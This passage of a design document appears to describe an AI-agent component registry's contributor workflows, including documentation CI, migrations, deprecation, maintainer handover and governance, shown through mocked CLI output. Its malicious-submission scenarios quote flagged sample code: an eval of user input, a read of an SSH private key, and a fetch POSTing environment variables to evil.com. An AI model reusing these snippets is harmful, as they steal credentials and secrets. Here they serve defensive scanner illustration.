  required: string[];
  optional: string[];
  order: string[];
}

const agentTemplate: ComponentTemplate = {
  sections: [
    {
      name: 'frontmatter',
      required: true,
      schema: {
        name: 'string',
        version: 'semver',
        description: 'string',
        author: 'string',
        license: 'string'
      }
    },
    {
      name: 'description',
      required: true,
      minLength: 50,
      maxLength: 500
    },
    {
      name: 'usage',
      required: true,
      subsections: ['installation', 'configuration', 'examples']
    },
    {
      name: 'examples',
      required: true,
      minExamples: 3
    },
    {
      name: 'api',
      required: false
    },
    {
      name: 'troubleshooting',
      required: false
    }
  ],
  required: ['frontmatter', 'description', 'usage', 'examples'],
  optional: ['api', 'troubleshooting', 'faq'],
  order: ['frontmatter', 'description', 'usage', 'examples', 'api', 'troubleshooting', 'faq']
};

Result:

• ✅ 100% of submissions follow standard format
• ⬇️ 90% reduction in formatting-related review comments
• ⬆️ Faster reviews (maintainers focus on content, not style)

---

4. Documentation Gets Outdated

Pain Point: Docs don't stay in sync with code changes

Current Problems:

• Manual doc updates forgotten
• API changes not reflected
• Examples become stale
• Broken links accumulate
• Version-specific docs missing

Solutions Implemented:

Auto-generated Documentation

# Generate docs from code
oac docs generate --auto

⚡ Generating documentation...

Sources:
  ✓ Code comments (JSDoc/TSDoc)
  ✓ Component metadata (oac.json)
  ✓ Test files (examples from tests)
  ✓ Git history (changelog)
  ✓ Registry data (downloads, ratings)

Generated:
  ✓ API reference (auto-generated from code)
  ✓ Component catalog (from registry)
  ✓ CLI reference (from command definitions)
  ✓ Changelog (from git commits)
  ✓ Examples (from test files)

✓ Documentation generated in docs/
✓ Ready to publish: oac docs deploy

Documentation CI/CD

# .github/workflows/docs.yml
name: Documentation

on:
  push:
    branches: [main]
    paths:
      - 'src/**'
      - 'components/**'
      - 'docs/**'
  pull_request:
    paths:
      - 'docs/**'

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Validate documentation
        run: |
          oac docs validate
          oac docs check-links
          oac docs check-examples          
      
      - name: Generate documentation
        run: oac docs generate
      
      - name: Check for outdated docs
        run: |
          if ! git diff --quiet docs/; then
            echo "Documentation is outdated!"
            echo "Run: oac docs generate"
            exit 1
          fi          
  
  deploy:
    if: github.ref == 'refs/heads/main'
    needs: validate
    runs-on: ubuntu-latest
    steps:
      - name: Deploy to production
        run: oac docs deploy --production

Version-Specific Docs

# Generate docs for specific version
oac docs generate --version 1.0.0

⚡ Generating docs for v1.0.0...

✓ Created: docs/versions/1.0.0/
✓ API reference (v1.0.0 snapshot)
✓ Component catalog (v1.0.0 components)
✓ Migration guide (0.x → 1.0.0)

Available versions:
  - 1.0.0 (latest)
  - 0.9.0
  - 0.8.0
  - 0.7.1

? Set as default version? (Y/n) y

✓ Docs available at:
  - https://oac.dev/docs (latest)
  - https://oac.dev/docs/1.0.0 (v1.0.0)
  - https://oac.dev/docs/0.9.0 (v0.9.0)

Documentation Testing

# Test documentation examples
oac docs test

⚡ Testing documentation examples...

Found 47 code examples in documentation

Testing examples:
  ✓ docs/quick-start.md (3/3)
  ✓ docs/agents.md (8/8)
  ✓ docs/skills.md (5/5)
  ✅ docs/api.md (12/12)
  ⚠️  docs/advanced.md (2/3 - 1 failed)

Failed example:
  File: docs/advanced.md
  Line: 145
  Error: Command not found: oac experimental-feature
  
  Suggested fix:
  - Update documentation
  - Or enable experimental features

✅ 46/47 examples work (98%)
⚠️  1 example needs updating

Result:

• ✅ Documentation always in sync with code
• ✅ 100% of examples tested in CI
• ✅ Version-specific docs maintained
• ⬇️ 95% reduction in broken links/examples

---

5. Breaking Changes Affect Contributors

Pain Point: Updates break contributor workflows and components

Current Problems:

• Breaking API changes
• Component format changes
• Configuration format changes
• Dependency updates
• No migration path

Solutions Implemented:

Semantic Versioning + Deprecation Warnings

# Check for breaking changes before release
oac release check --breaking

⚡ Checking for breaking changes...

API Changes:
  ✅ No breaking API changes
  ✓ All public APIs backward compatible
  
Configuration:
  ⚠️  Breaking change detected!
  
  Changed: config.approval.gates (renamed)
  Old: config.approval.gates
  New: config.agents.permissions
  Impact: ~8,000 users
  
  Migration:
  - Auto-migration available: oac migrate config
  - Deprecation period: 2 releases (6 months)
  - Old format supported until: v2.0.0

Component Format:
  ✅ No breaking changes
  ✓ All existing components compatible

? Proceed with release? (Y/n) y
? Enable auto-migration? (Y/n) y

✅ Auto-migration enabled
✓ Users will be prompted to migrate on update
✓ Deprecation warnings added

Migration Tools

# Auto-migrate from old version
oac migrate

⚡ Checking for migrations...

Found migrations:
  1. Config format (0.9.0 → 1.0.0)
  2. Component schema (0.8.0 → 1.0.0)

Migration 1: Config Format
──────────────────────────
Your config uses the old format (v0.9.0)

Changes:
  - config.approval.gates → config.agents.permissions
  - config.context.paths → config.context.locations.project
  - config.yolo → config.preferences.yoloMode

? Auto-migrate config? (Y/n) y

⚡ Migrating config...
  ✓ Backed up old config: ~/.config/oac/config.json.bak
  ✓ Applied migrations
  ✓ Validated new config
  ✓ Tested compatibility

✅ Migration complete!

Migration 2: Component Schema
──────────────────────────────
Your components use old schema (v0.8.0)

Found 5 components to migrate:
  - agent:my-custom-agent
  - skill:my-workflow
  - context:my-patterns
  - agent:team-agent
  - skill:deploy-script

? Migrate all components? (Y/n) y

⚡ Migrating components...
  ✓ agent:my-custom-agent (backed up, migrated)
  ✓ skill:my-workflow (backed up, migrated)
  ✓ context:my-patterns (backed up, migrated)
  ✓ agent:team-agent (backed up, migrated)
  ✓ skill:deploy-script (backed up, migrated)

✅ All migrations complete!

Backups saved to: ~/.config/oac/.backups/migration-2026-02-14/

Deprecation Policy

interface DeprecationPolicy {
  feature: string;
  deprecatedIn: string;
  removedIn: string;
  warning: string;
  migration: string;
  autoMigrate: boolean;
}

const deprecations: DeprecationPolicy[] = [
  {
    feature: 'config.approval.gates',
    deprecatedIn: '1.0.0',
    removedIn: '2.0.0',
    warning: 'config.approval.gates is deprecated. Use config.agents.permissions instead.',
    migration: 'Run: oac migrate config',
    autoMigrate: true
  },
  {
    feature: 'oac add --global',
    deprecatedIn: '1.1.0',
    removedIn: '2.0.0',
    warning: '--global flag is deprecated. Use --scope global instead.',
    migration: 'Replace --global with --scope global',
    autoMigrate: false
  }
];

Breaking Change Communication

# Announce breaking changes
oac announce breaking-change --version 2.0.0

📢 Breaking Change Announcement

Version: 2.0.0 (planned for 2026-08-01)
Current: 1.0.0
Timeline: 6 months

Breaking Changes:
  1. Config format v1 deprecated
     Impact: ~8,000 users
     Migration: oac migrate config (automated)
     Deadline: 2026-08-01
     
  2. Component schema v1 deprecated
     Impact: ~500 community components
     Migration: oac migrate components (automated)
     Deadline: 2026-08-01

Communication Plan:
  ✓ Email to all registered users
  ✓ Discord announcement
  ✓ Twitter/blog post
  ✓ In-app notification
  ✓ Documentation update
  ✓ Migration guide published

Timeline:
  - Today: Announcement
  - +1 month: Deprecation warnings
  - +3 months: Reminder emails
  - +5 months: Final warning
  - +6 months: Release v2.0.0

? Send announcement? (Y/n) y

✅ Announcement sent to:
  - 12,457 email subscribers
  - 5,234 Discord members
  - 8,921 Twitter followers
  - 10,234 active CLI users

📊 Impact tracking enabled:
  - Monitor migration progress
  - Send reminders to non-migrated users
  - Track support requests

Result:

• ✅ 95% of users successfully migrate before breaking release
• ⬇️ 80% reduction in support requests during major versions
• ✅ Clear timeline and expectations

---

Edge Cases

1. Malicious Contribution Attempt

Scenario: A contributor submits an agent with malicious code

Detection & Response:

# Automated security scan catches malicious code
oac review agent:malicious-attempt

⚠️ CRITICAL SECURITY ALERT

📊 Security Scan Results:

🔴 CRITICAL Issues (3):

1. Remote Code Execution
   File: agent.md, Line 67
   Code: eval(userInput)
   Severity: CRITICAL
   Risk: Arbitrary code execution
   
2. Credential Theft
   File: agent.md, Line 145
   Code: fs.readFileSync('~/.ssh/id_rsa')
   Severity: CRITICAL
   Risk: SSH key exfiltration
   
3. Data Exfiltration
   File: agent.md, Line 203
   Code: fetch('https://evil.com/steal', {
     method: 'POST',
     body: JSON.stringify(process.env)
   })
   Severity: CRITICAL
   Risk: Environment variable theft

🚨 AUTOMATIC ACTIONS TAKEN:

  ✓ Submission BLOCKED
  ✓ Author account FLAGGED
  ✓ Maintainers NOTIFIED
  ✓ Security team ALERTED
  ✓ Evidence PRESERVED

? Maintainer action required:
  > Ban author permanently
    Ban author temporarily (30 days)
    Contact author for explanation
    Report to authorities

Selected: Ban author permanently

? Reason for ban:
Attempted to submit malicious agent with:
- Remote code execution
- Credential theft
- Data exfiltration

This is a clear violation of our security policy and
terms of service.

? Confirm permanent ban? (Y/n) y

✅ Actions taken:

  ✓ Author @malicious banned permanently
  ✓ All submissions from author deleted
  ✓ IP address blocked
  ✓ Email blacklisted
  ✓ GitHub account reported
  ✓ Community notified (security alert)
  
  Security report filed: #SEC-2026-001
  Evidence preserved: .oac/security/SEC-2026-001/

📧 Notifications sent:
  - Core maintainers (immediate)
  - Security team (immediate)
  - Community moderators (24h)
  - All users (if necessary)

Prevention Measures:

interface SecurityScanners {
  static: StaticAnalyzer;
  dynamic: DynamicAnalyzer;
  reputation: ReputationChecker;
}

const securityPipeline = {
  // Static analysis
  staticChecks: [
    'no-eval',
    'no-exec',
    'no-fs-access',
    'no-network-calls',
    'no-env-access',
    'no-crypto-mining',
    'no-obfuscation'
  ],
  
  // Dynamic analysis
  dynamicChecks: [
    'sandbox-execution',
    'network-monitoring',
    'file-system-monitoring',
    'process-monitoring'
  ],
  
  // Reputation checks
  reputationChecks: [
    'author-history',
    'account-age',
    'previous-submissions',
    'community-feedback',
    'github-reputation'
  ],
  
  // Automated actions
  actions: {
    'CRITICAL': 'block_and_ban',
    'HIGH': 'block_and_review',
    'MEDIUM': 'flag_for_review',
    'LOW': 'warn_maintainer'
  }
};

---

2. Popular Component Needs Deprecation

Scenario: A widely-used component must be deprecated due to fundamental issues

Deprecation Workflow:

# Deprecate popular component
oac deprecate agent:popular-agent

⚠️ Deprecation Warning

Component: agent:popular-agent
Current version: 2.5.0
Downloads: 45,234
Active users: ~12,000

? Reason for deprecation:
  > Security vulnerability (unfixable)
    Superseded by better alternative
    Maintenance discontinued
    Breaking upstream changes
    License issues

Selected: Security vulnerability (unfixable)

? Severity:
  > Critical (immediate deprecation)
    High (90-day sunset)
    Medium (180-day sunset)

Selected: Critical

? Recommended alternative:
agent:secure-alternative

? Migration assistance:
  ✓ Provide migration guide
  ✓ Auto-migration tool
  ✓ Support period (30 days)
  ✓ Direct maintainer help

⚡ Creating deprecation plan...

Deprecation Plan:
─────────────────────────────────────────────
Component: agent:popular-agent
Status: DEPRECATED (critical security issue)
Alternative: agent:secure-alternative
Timeline: Immediate deprecation, 30-day support

Phase 1: Immediate (Today)
  - Mark as deprecated in registry
  - Show warning on install
  - Block new installations (security)
  - Email all active users
  - Post security advisory
  
Phase 2: Migration (30 days)
  - Provide migration guide
  - Offer one-on-one support
  - Auto-migration tool available
  - Monitor migration progress
  
Phase 3: Sunset (After 30 days)
  - Remove from registry
  - Redirect to alternative
  - Archive repository
  - Disable downloads
─────────────────────────────────────────────

? Proceed with deprecation? (Y/n) y

⚡ Executing deprecation plan...

Immediate Actions:
  ✓ Updated registry status: DEPRECATED
  ✓ Security advisory published: GHSA-2026-001
  ✓ Email sent to 12,000 active users
  ✓ Discord announcement posted
  ✓ Twitter/blog post published
  ✓ Documentation updated

Install Warning Configured:
  $ oac add agent:popular-agent
  
  ⚠️  SECURITY WARNING
  
  agent:popular-agent is DEPRECATED due to critical security vulnerability.
  This component has an unfixable security issue and should not be used.
  
  Recommended alternative: agent:secure-alternative
  
  Migration:
    1. Run: oac migrate agent:popular-agent agent:secure-alternative
    2. Review changes
    3. Test thoroughly
  
  ? Install anyway (NOT RECOMMENDED)? (y/N)

Migration Tool Created:
  $ oac migrate agent:popular-agent agent:secure-alternative
  
  ⚡ Migrating from popular-agent to secure-alternative...
  
  ✓ Backed up current configuration
  ✓ Installed secure-alternative
  ✓ Migrated configuration
  ✓ Updated context references
  ✓ Validated setup
  
  ⚠️  Manual steps required:
  1. Review migrated config: .oac/agents/secure-alternative.md
  2. Test with: oac test agent:secure-alternative
  3. Remove old agent: oac remove agent:popular-agent
  
  Migration complete! Need help? discord.gg/openagents

Support Plan:
  ✓ Dedicated support channel created (#migration-help)
  ✓ FAQ published
  ✓ Office hours scheduled (daily for 30 days)
  ✓ Maintainer availability increased

✅ Deprecation initiated!

📊 Tracking:
  - Monitor migration progress
  - Send reminder emails (weekly)
  - Provide usage statistics
  - Sunset after 30 days

? Set up monitoring dashboard? (Y/n) y

✓ Dashboard created: https://oac.dev/deprecation/popular-agent

Dashboard shows:
  - Active users (12,000)
  - Migrated users (updating live)
  - Support requests (tracking)
  - Timeline progress (30 days remaining)

---

3. Contributor Abandons Component

Scenario: A component author becomes unresponsive, component needs maintenance

Adoption Workflow:

# Component needs maintenance, author MIA
oac component status agent:abandoned-agent

Component: agent:abandoned-agent
Author: @original-author (last seen 8 months ago)
Status: Unmaintained
Downloads: 5,234
Active users: ~1,500
Open issues: 23 (12 critical)
Last update: 9 months ago

⚠️ Maintenance Concerns:
  - Critical bug unfixed (6 months old)
  - Security vulnerability reported (3 months ago)
  - Incompatible with latest OAC (v1.0.0)
  - Breaking dependency updates
  - Community requesting features

? Action:
  > Find new maintainer (recommended)
    Fork to official repository
    Mark as unmaintained
    Archive component

Selected: Find new maintainer

⚡ Initiating maintainer search...

Step 1: Contact Original Author
─────────────────────────────────────────────
Attempting to contact @original-author:
  ✓ Email sent (no response, 30 days)
  ✓ GitHub mention (no response, 30 days)
  ✓ Discord DM (user inactive)
  
? Declare component abandoned? (Y/n) y

✓ Component declared abandoned
✓ Maintainer search initiated

Step 2: Find New Maintainer
─────────────────────────────────────────────
? Search strategy:
  > Open call for maintainers (community)
    Invite top contributors
    Transfer to core team
    Create maintainer team

Selected: Open call for maintainers

? Requirements for new maintainer:
  ✓ Previous OAC contributions
  ✓ Good community standing
  ✓ Familiar with component domain
  ✓ Available for regular maintenance

📢 Posting maintainer call...

✓ Posted to:
  - Discord #announcements
  - GitHub Discussions
  - Twitter
  - Component README

Call for Maintainer
───────────────────────────────────────────── 
Component: agent:abandoned-agent
Current status: Unmaintained
Users: ~1,500 active users
Opportunity: Become official maintainer

The original author (@original-author) is no longer active.
We're looking for a new maintainer to:
  - Fix critical bugs
  - Address security vulnerability
  - Update for OAC v1.0.0
  - Review community PRs
  - Guide future development

Requirements:
  - Previous OAC contributions
  - Domain expertise (preferred)
  - Regular availability
  - Good community standing

Benefits:
  - Verified maintainer badge
  - Core team support
  - Direct impact on 1,500+ users
  - Community recognition

Interested? Apply: oac maintainer apply agent:abandoned-agent
─────────────────────────────────────────────

Step 3: Review Applications
─────────────────────────────────────────────
Applications received: 7

Top candidates:
  1. @experienced-dev
     - 15 OAC contributions
     - 4.8/5 community rating
     - Relevant domain expertise
     - Available 10h/week
     
  2. @domain-expert
     - 3 OAC contributions
     - 4.5/5 community rating
     - Deep domain expertise
     - Available 5h/week
     
  3. @active-contributor
     - 25 OAC contributions
     - 4.9/5 community rating
     - Limited domain expertise
     - Available 15h/week

? Select new maintainer:
  > @experienced-dev (balanced)
    @domain-expert (expertise focus)
    @active-contributor (contribution focus)
    Create maintainer team (multiple people)

Selected: @experienced-dev

Step 4: Transfer Ownership
─────────────────────────────────────────────
? Transfer plan:
  ✓ Update component metadata
  ✓ Transfer GitHub repository
  ✓ Grant registry permissions
  ✓ Update documentation
  ✓ Notify community
  ✓ Onboarding session

? Probation period:
  > 3 months (standard)
    6 months (extended)
    No probation (trusted maintainer)

Selected: 3 months

✅ Ownership transferred!

New maintainer: @experienced-dev
Probation: 3 months
Support: Core team mentorship

✓ Repository transferred
✓ Permissions granted
✓ Community notified
✓ Onboarding scheduled

📅 Next steps:
  1. Onboarding session (scheduled)
  2. Fix critical bug (priority)
  3. Security patch (priority)
  4. Update for v1.0.0
  5. Review after 3 months

---

4. Breaking Change in Dependency

Scenario: A popular context/skill that many components depend on has breaking changes

Dependency Management:

# Popular context has breaking change
oac dependency analyze context:popular-context

Context: context:popular-context
Current version: 2.5.0
New version: 3.0.0 (BREAKING)

Breaking Changes:
  - File structure changed
  - Section names renamed
  - New required fields
  - Removed deprecated patterns

Impact Analysis:
─────────────────────────────────────────────
Dependent components: 234

Official components: 12
  - agent:openagent (>=2.0.0)
  - agent:opencoder (>=1.5.0)
  - skill:testing (>=1.0.0)
  ... (9 more)

Community components: 222
  - agent:rust-specialist (234 users)
  - agent:python-expert (189 users)
  - skill:advanced-git (445 users)
  ... (219 more)

Total affected users: ~15,000

? Action:
  > Provide compatibility layer (recommended)
    Major version bump all dependents
    Fork and maintain v2.x branch
    Coordinate mass migration

Selected: Provide compatibility layer

⚡ Creating compatibility layer...

Strategy:
1. Create adapter for v2 → v3 format
2. Publish context:popular-context-compat
3. Auto-migrate dependent components
4. Deprecate v2 over 6 months

Compatibility Layer:
─────────────────────────────────────────────
Name: context:popular-context-compat
Version: 3.0.0-compat
Purpose: Bridge v2 and v3 formats

Features:
  ✓ Accepts both v2 and v3 references
  ✓ Auto-converts v2 → v3 internally
  ✓ Transparent to consumers
  ✓ Deprecation warnings for v2 usage

✓ Created compatibility layer
✓ Published to registry

Migration Tool:
─────────────────────────────────────────────
$ oac dependency migrate context:popular-context

⚡ Analyzing dependencies...

Your components using context:popular-context:
  - agent:my-custom-agent (v2.0.0 format)
  - skill:my-workflow (v2.0.0 format)

? Migration strategy:
  > Use compatibility layer (zero changes)
    Migrate to v3 format (manual updates)
    Stay on v2 branch (deprecated)

Selected: Use compatibility layer

✅ Migration complete!
  ✓ Updated dependencies to use compat layer
  ✓ No code changes required
  ✓ Components continue working
  ✓ Will warn to migrate to v3 (6 month period)

Communication Plan:
─────────────────────────────────────────────
? Notify dependent component authors:
  ✓ Email notification
  ✓ In-app warning
  ✓ Documentation update
  ✓ Migration guide

? Timeline:
  - Today: Compat layer released
  - +1 month: Migration guide published
  - +3 months: Deprecation warnings
  - +6 months: v2 support ends

? Send notifications? (Y/n) y

✅ Notifications sent to:
  - 234 component authors
  - ~15,000 end users
  - All maintainers

📊 Tracking:
  Migration progress dashboard:
  https://oac.dev/migrations/popular-context-v3

---

5. Community Fork/Split

Scenario: Community disagrees with direction, threatens to fork

Conflict Resolution:

# Community concerns detected
oac community sentiment

📊 Community Sentiment Analysis

Recent activity:
  - GitHub issues: 47 (15 about direction)
  - Discord discussions: 234 messages
  - Twitter mentions: 89 (mostly concerned)

Concerns identified:
  🔴 Breaking changes too frequent (45% of feedback)
  🔴 Features not aligned with needs (32%)
  🟡 Slow review process (23%)
  🟡 Documentation gaps (18%)

⚠️ Fork risk: MEDIUM
  
  Indicators:
  - "We should fork" mentioned 12 times
  - Alternative project ideas: 3
  - Key contributors expressing frustration: 5
  - Community poll suggesting dissatisfaction: 67%

? Action required:
  > Schedule community meeting
    Create RFC for controversial changes
    Form steering committee
    Address concerns directly

Selected: Schedule community meeting

⚡ Creating community meeting...

Meeting: OAC Community Direction Discussion
Date: 2026-02-20 15:00 UTC
Duration: 2 hours
Format: Video call + live Q&A

Agenda:
  1. Address breaking changes concern (30 min)
  2. Feature roadmap discussion (30 min)
  3. Review process improvements (20 min)
  4. Open Q&A (40 min)

? Invite key stakeholders:
  ✓ Core maintainers (5)
  ✓ Top contributors (10)
  ✓ Vocal community members (15)
  ✓ Open to all (public)

✓ Meeting scheduled
✓ Invitations sent
✓ Public announcement posted

Pre-meeting Actions:
─────────────────────────────────────────────
? Address concerns before meeting:
  ✓ Create RFC for breaking change policy
  ✓ Survey community on feature priorities
  ✓ Analyze review bottlenecks
  ✓ Draft governance proposal

RFC: Breaking Change Policy
─────────────────────────────────────────────
Proposal:
  1. Maximum 1 major version per year
  2. 6-month deprecation period required
  3. Auto-migration tools mandatory
  4. Community approval for breaking changes
  5. LTS versions for stable projects

? Open for community feedback? (Y/n) y

✓ RFC published: https://github.com/oac/rfcs/001
✓ Feedback period: 14 days
✓ Vote scheduled after feedback

Community Survey:
─────────────────────────────────────────────
? Survey questions:
  1. How often are breaking changes acceptable?
  2. Which features should we prioritize?
  3. What review SLA is acceptable?
  4. Should we form a steering committee?
  5. How can we improve communication?

✓ Survey published
✓ Target responses: 500
✓ Duration: 7 days

Governance Proposal:
─────────────────────────────────────────────
Current: Maintainer-led
Proposed: Community steering committee

Structure:
  - 5 core maintainers (permanent)
  - 5 community representatives (elected annually)
  - Major decisions require 7/10 votes
  - RFC process for significant changes

? Publish governance proposal? (Y/n) y

✓ Proposal published
✓ Election process defined
✓ Timeline: 30 days to implement

Meeting Outcomes:
─────────────────────────────────────────────
(After meeting)

Attendance: 234 participants
Duration: 2h 15min
Sentiment: Positive (improved from medium)

Agreements:
  ✓ Breaking change policy RFC approved
  ✓ Steering committee formation approved
  ✓ Review SLA target: 5 days (improved from 7)
  ✓ Monthly community calls scheduled
  ✓ Feature voting system implemented

? Fork risk after meeting: LOW

Community feedback:
  "Great to see responsiveness to concerns"
  "Excited about steering committee"
  "Much better communication"
  "Look forward to the changes"

✅ Crisis averted!
✅ Community strengthened
✅ Governance improved

---

Must-Have Features

1. Easy Component Publishing

Requirements:

• One-command publish
• Automated validation
• Clear feedback
• Version management
• Rollback capability

Implementation:

# Simple publish flow
oac publish agent:my-agent

⚡ Publishing agent:my-agent...

Pre-publish checks:
  ✅ Tests pass (8/8)
  ✅ Documentation complete
  ✅ Security scan passed
  ✅ License specified
  ✅ Version valid (1.0.0)

? Publish scope:
  > Community registry (public)
    Organization registry (private)
    Local registry (development)

? Version: 1.0.0
? Changelog:
Initial release
- Core functionality
- Comprehensive tests
- Documentation

✓ Packaged
✓ Signed
✓ Uploaded
✓ Published

✅ agent:my-agent@1.0.0 published!

Install: oac add agent:my-agent
Docs: https://oac.dev/components/my-agent

---

2. Review/Approval Workflow

Requirements:

• Queue management
• Automated checks
• Review templates
• Bulk actions
• Status tracking

Implementation:

interface ReviewWorkflow {
  queue: {
    prioritization: 'age' | 'impact' | 'author-reputation';
    filters: string[];
    sorting: 'priority' | 'date' | 'author';
  };
  automation: {
    preChecks: Check[];
    autoApprove: Condition[];
    autoReject: Condition[];
  };
  review: {
    templates: FeedbackTemplate[];
    requirements: ReviewRequirement[];
    sla: Duration;
  };
  tracking: {
    metrics: Metric[];
    alerts: Alert[];
    reports: Report[];
  };
}

---

3. Quality Metrics and Ratings

Requirements:

• Automated quality scoring
• Community ratings
• Download tracking
• Usage analytics
• Trend analysis

Implementation:

# Component quality dashboard
oac quality dashboard agent:my-agent

┌─────────────────────────────────────────────┐
│ Quality Dashboard: agent:my-agent           │
└─────────────────────────────────────────────┘

📊 Quality Score: 4.6/5 ⭐⭐⭐⭐⭐

Metrics:
  Code Quality:     4.8/5 ✅ (excellent)
  Documentation:    4.5/5 ✅ (very good)
  Test Coverage:    4.9/5 ✅ (excellent)
  Community Rating: 4.4/5 ✅ (very good)
  Maintenance:      4.3/5 ✅ (good)

Details:
  Tests: 95% coverage (19/20 tests pass)
  Docs: 98% complete (examples, API, guides)
  Security: No issues found
  Dependencies: All verified
  Updates: Regular (last: 5 days ago)

Community:
  Downloads: 5,234
  Active users: ~1,500
  Rating: 4.4/5 (89 reviews)
  Issues: 3 open, 45 closed
  PRs: 2 open, 23 merged

Trends:
  Downloads: ↑ 23% (last 30 days)
  Rating: → 4.4/5 (stable)
  Issues: ↓ 2 (improving)

---

4. Automated Testing

Requirements:

• Test framework integration
• CI/CD pipelines
• Smoke tests
• Integration tests
• Performance tests

Implementation:

# .github/workflows/component-test.yml
name: Component Tests

on:
  pull_request:
    paths:
      - 'components/**'
  push:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node: [18, 20]
        os: [ubuntu-latest, macos-latest, windows-latest]
    
    steps:
      - uses: actions/checkout@v3
      
      - name: Setup Node
        uses: actions/setup-node@v3
        with:
          node-version: ${{ matrix.node }}
      
      - name: Install OAC
        run: npm install -g @nextsystems/oac
      
      - name: Run tests
        run: |
          oac test --all
          oac validate --strict
          oac security scan          
      
      - name: Upload results
        uses: actions/upload-artifact@v3
        with:
          name: test-results
          path: .oac/test-results/

---

5. Documentation Generation

Requirements:

• Auto-generate from code
• Version-specific docs
• API reference
• Examples from tests
• Search functionality

Implementation:

# Auto-generate comprehensive docs
oac docs generate --all

⚡ Generating documentation...

Sources:
  ✓ Component metadata (oac.json)
  ✓ Code comments (JSDoc)
  ✓ Test files (examples)
  ✓ Git history (changelog)
  ✓ Registry data (stats)

Generated:
  ✓ README.md (overview)
  ✓ API.md (API reference)
  ✓ EXAMPLES.md (usage examples)
  ✓ CHANGELOG.md (version history)
  ✓ CONTRIBUTING.md (contribution guide)

Output: docs/

? Deploy to docs site? (Y/n) y

✓ Deployed to: https://oac.dev/docs/my-agent

---

6. Deprecation Workflow

Requirements:

• Deprecation warnings
• Migration guides
• Auto-migration tools
• Support period
• Sunset timeline

Implementation:

# Structured deprecation process
oac deprecate agent:old-agent

? Reason:
  > Superseded by agent:new-agent
    
? Timeline:
  > 90 days (standard)

? Support:
  ✓ Migration guide
  ✓ Auto-migration tool
  ✓ Maintainer support

✅ Deprecation plan created!

Timeline:
  - Today: Mark deprecated, show warnings
  - +30 days: Email reminders
  - +60 days: Final warnings
  - +90 days: Remove from registry

? Start deprecation? (Y/n) y

---

Example Scenarios

Scenario 1: Publishing Official Project Agent

Context: You maintain a popular React framework and want to publish an official agent

Steps:

1. Create agent with project standards

cd my-react-framework
oac create agent react-framework-expert --official

? Include project context:
  ✓ docs/patterns.md
  ✓ docs/architecture.md
  ✓ .github/coding-standards.md

✓ Created agent with project context

2. Write comprehensive tests

oac test create agent:react-framework-expert

? Test types:
  ✓ Unit tests (component validation)
  ✓ Integration tests (with project context)
  ✓ Example prompts (real-world usage)

✓ Test suite created

3. Validate before publishing

oac validate agent:react-framework-expert --strict

✅ All checks passed!
  ✓ Tests: 12/12 passed (95% coverage)
  ✓ Docs: Complete
  ✓ Security: No issues
  ✓ Size: 45KB (within limit)

4. Publish as official component

oac publish agent:react-framework-expert --official

? Version: 1.0.0
? Mark as verified: Yes
? Add to recommended: Yes

✅ Published!
  Registry: https://registry.openagents.dev/agents/react-framework-expert
  Docs: https://oac.dev/docs/agents/react-framework-expert

5. Announce to community

oac announce agent:react-framework-expert

? Announcement channels:
  ✓ Discord
  ✓ Twitter
  ✓ Blog post (draft created)
  ✓ Email newsletter

✅ Announcement sent!

Outcome:

• ✅ Official agent published
• ✅ Verified badge
• ✅ Community notified
• ✅ Documentation generated
• ✅ Ready for users to install

---

Scenario 2: Reviewing Community Contribution

Context: A contributor submitted a Python testing agent

Steps:

1. Check review queue

oac review queue

📥 3 pending reviews
  🔴 agent:python-tester by @pythondev (5 days old)
  🟡 skill:docker-workflow by @devops (2 days old)
  🟢 context:patterns by @architect (1 day old)

? Review: agent:python-tester

2. Automated checks results

📊 Automated Checks:
  ✅ Security: Passed
  ✅ Tests: Passed (8/8, 92% coverage)
  ✅ Docs: Complete
  ⚠️  Size: 48KB (close to 50KB limit)
  ✅ License: MIT

? Action:
  > Test locally first

3. Test locally

oac review test agent:python-tester

⚡ Testing in isolated sandbox...

Running tests:
  ✓ Unit tests (8/8)
  ✓ Integration tests (2/2)
  ✓ Smoke test (passed)

Interactive test:
You: Help me write unit tests for this Python function
Agent: [Excellent response with pytest examples]

You: approve

4. Approve and publish

? Quality score: 4.5/5
? Add to recommended: Yes
? Review comment:

Excellent work! High quality agent with:
- Great test coverage (92%)
- Clear documentation
- Good examples

Minor suggestion: Could reduce file size slightly
by extracting some context to separate file.

Approved! Welcome to the registry.

✅ Approved and published!
  ✓ Notified author
  ✓ Updated registry
  ✓ Posted announcement

Outcome:

• ✅ Quality contribution approved
• ✅ Author receives constructive feedback
• ✅ Community gains valuable component
• ✅ Maintainer review took <15 minutes

---

Scenario 3: Handling Malicious Component

Context: Security scan detects malicious code in submission

Steps:

1. Automated detection

⚠️ CRITICAL SECURITY ALERT

Component: agent:suspicious-agent
Author: @newuser
Issue: Remote code execution detected

🔴 CRITICAL: Line 67
  Code: eval(userInput)
  Risk: Arbitrary code execution

🔴 CRITICAL: Line 145
  Code: fetch('https://evil.com', { body: process.env })
  Risk: Data exfiltration

🚨 AUTOMATIC ACTIONS TAKEN:
  ✓ Submission BLOCKED
  ✓ Author FLAGGED
  ✓ Maintainers NOTIFIED

2. Review and ban

? Action:
  > Ban author permanently
  
? Reason:
Attempted to submit malicious agent with RCE and
data exfiltration. Clear TOS violation.

? Confirm: Yes

✅ Author banned
  ✓ All submissions deleted
  ✓ IP blocked
  ✓ Email blacklisted
  ✓ GitHub reported
  ✓ Evidence preserved

3. Security advisory

oac security advisory create

Advisory: OAC-SA-2026-001
Title: Malicious component submission blocked
Severity: Informational

Content:
A malicious component submission was automatically
detected and blocked. No user action required.

Our security systems prevented publication of
agent:suspicious-agent which contained malicious code.

This demonstrates our security scanning is working
as designed. All submissions are scanned before
publication.

? Publish advisory: Yes (transparency)

✅ Published to:
  - https://oac.dev/security/advisories
  - Discord #security

Outcome:

• ✅ Malicious code blocked automatically
• ✅ No users affected
• ✅ Author banned
• ✅ Community informed
• ✅ Security measures validated

---

Scenario 4: Deprecating Old Component

Context: An official component needs deprecation due to better alternative

Steps:

1. Initiate deprecation

oac deprecate agent:old-agent

? Reason: Superseded by agent:new-agent
? Timeline: 90 days
? Support: Migration guide + auto-migration

✅ Deprecation plan created

2. Create migration guide

oac migration create old-agent new-agent

? Migration type:
  > Auto-migration (recommended)

⚡ Analyzing components...

Migration steps:
  1. Install new-agent
  2. Migrate configuration (automated)
  3. Update context references (automated)
  4. Remove old-agent

✅ Migration guide created
✅ Auto-migration tool ready

3. Notify users

oac deprecate notify

? Notification:
